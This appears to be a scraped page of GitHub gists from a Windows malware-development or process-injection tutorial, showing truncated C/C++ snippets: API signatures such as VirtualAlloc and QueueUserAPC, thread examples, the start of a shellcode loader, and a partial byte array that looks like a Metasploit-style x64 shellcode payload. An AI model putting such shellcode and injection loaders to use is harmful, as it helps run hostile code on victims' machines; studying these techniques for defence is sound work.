This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| HMODULE GetModuleHandleW( | |
| [in, optional] LPCWSTR lpModuleName // name of the loaded module , DLL or exe e.g user32.dll | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| FARPROC GetProcAddress( | |
| [in] HMODULE hModule, // handle to DLL module containing the function we are looking for | |
| [in] LPCSTR lpProcName // function name we are looking for. Can also be an ordinal value | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| #include <iostream> | |
| using namespace std; | |
| unsigned char buf[] = { | |
| 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41 | |
| ,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60 | |
| ,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72 | |
| ,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <Windows.h> | |
| using namespace std; | |
| DWORD WINAPI ThreadProc( | |
| LPVOID lpParameter | |
| ) { | |
| wprintf(L"[%u] Thread execution has started\n", GetCurrentThreadId()); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <Windows.h> | |
| using namespace std; | |
| // https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85) | |
| DWORD WINAPI ThreadProc( | |
| LPVOID lpParameter | |
| ) { | |
| wprintf(L"[%u] Thread execution has started\n", GetCurrentThreadId()); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <Windows.h> | |
| using namespace std; | |
| // https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85) | |
| DWORD WINAPI ThreadProc( | |
| LPVOID lpParameter | |
| ) { | |
| // do some stuff |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| BOOL QueueUserAPC( | |
| PAPCFUNC pfnAPC, | |
| HANDLE hThread, | |
| ULONG_PTR dwData | |
| ); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| int main(void) { | |
| void* exec_mem; | |
| BOOL rv; | |
| HANDLE th; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| LPVOID VirtualAlloc( | |
| LPVOID lpAddress, // Starting address of the memory region to allocate. | |
| SIZE_T dwSize, // Size, in bytes, of the memory region to allocate. | |
| DWORD flAllocationType, // Type of memory allocation (e.g., MEM_COMMIT, MEM_RESERVE). | |
| DWORD flProtect // Page protection for committed pages (e.g., PAGE_EXECUTE). | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| int main(){ | |
| // Implementing the MessageBox API | |
| MessageBox(NULL, L"Happy Hacking", L"Greetings", MB_OK); | |
| return 0; | |
| } |